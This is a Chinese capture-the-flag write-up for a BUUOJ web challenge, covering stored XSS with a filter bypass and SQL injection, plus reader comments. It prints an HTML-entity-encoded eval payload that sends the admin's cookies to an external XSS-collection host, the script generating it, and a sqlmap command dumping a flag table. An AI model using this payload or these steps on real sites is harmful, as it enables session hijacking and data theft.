5am3 师傅出的题目~
知识点:
1、储存型 XSS 与过滤绕过
2、SQL 注入
1、打开靶机,是这样一个页面。
![](https://www.zhaoj.in/wp-content/uploads/2019/07/1563753886af01963cc836c32a75a3d3be76e11c0c-1024x601.png)
2、随便点个投稿或者反馈啥的,要先注册登录。
![](https://www.zhaoj.in/wp-content/uploads/2019/07/15637541033cf0da033c90e899f4e7e7d0a09cb7c7-1024x362.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/07/156375417533140ddac9d3ca919b4e08eb15d61bb9-1024x363.png)
3、然后点击投稿,是这样一个界面。
![](https://www.zhaoj.in/wp-content/uploads/2019/07/156375431410e9da710d6d6cf6c4a4e7816fb8d8cf-1024x696.png)
上面提示可以反馈让管理员来看,目测是 XSS 了。
4、然后看看反馈界面。
![](https://www.zhaoj.in/wp-content/uploads/2019/07/1563754538252cea896f961f68875301e7f85d23e4-1024x552.png)
XSS 石锤了。
5、回到投稿界面,不断 fuzz,然后发现如下的 payload 能打上去。这里用到的 payload 是 eval,由于这玩意儿有”waf“,里面的所有东西和外面的括号都得转个码,那就用 HTML Markup 来转吧。
HTML Markup: https://www.w3.org/MarkUp/html-spec/html-spec_13.html
写了个 Python 小脚本来生成 payload:
in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"
output = ""
for c in in_str:
output += "&#" + str(ord(c))
print("<svg><script>eval("" + output + "")</script>")
得到 Payload 如下:
<svg><script>eval("(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();")</script>
和之前 DDCTF 遇到的那个题有一点点不同,这里有 CSP,但可以直接用跳转绕过。
6、打上去,发现可以正常执行。
![](https://www.zhaoj.in/wp-content/uploads/2019/07/1563755839541737c812a4f80c9aa0f52d3fc9a68c-1024x649.png)
7、然后把这个地址到反馈那里提交。
祭出祖传算 MD5 脚本来算一算验证码。
import hashlib
for i in range(1, 10000001):
s = hashlib.md5(str(i)).hexdigest()[0:6]
if s == "f3ff5e":
print(i)
break
![](https://www.zhaoj.in/wp-content/uploads/2019/07/15637565330971cc32df629f0b55f24c61ec6ffce2-1024x493.png)
8、然后去收下 XSS。
![](https://www.zhaoj.in/wp-content/uploads/2019/07/1563756767e73c3b72dbd22261740895f251a19aad-1024x608.png)
9、置管理员 cookie,猜测后台路径,发现 /admin.php 能访问。
![](https://www.zhaoj.in/wp-content/uploads/2019/07/1563757187051a76098202d9550e9a676e541a7ae9-1024x653.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/07/156375728160e8790ed5c40dfa747b88a2cda011bc-1024x258.png)
10、测一下,发现应该是有 sql 注入的。
![](https://www.zhaoj.in/wp-content/uploads/2019/07/1563757469d9433061dccbc50cd97ec1a8fd7a7f9b-1024x354.png)
11、那直接 sqlmap 跑跑试试。
sqlmap -u "http://web59.buuoj.cn/admin.php?id=4" --cookie="PHPSESSID=cf49a9a60da9cc1b547ab98d549ba038" -T flag --dump --flush-session --fresh-queries
![](https://www.zhaoj.in/wp-content/uploads/2019/07/156375785111965ebc9076c14cb0512a3984eeb3b7-1024x602.png)
12、Flag 到手~
9 个评论
范明明
无意中进入大佬网站,完全看不懂啊。
glzjin
跟着做做也蛮有意思的~
111
那也看不懂啊
ccc
找到榜样了!!!!
s1mple
赵总好
小张
刚看完大佬的讲座视频,过来膜拜一波
XSS培训进阶 – 0xdawn's blog
[…] https://www.zhaoj.in/read-6100.html […]
十六
为什么我xss平台接不到admin的访问记录啊 我完全跟着wp做的
glzjin
请再试试,谢谢。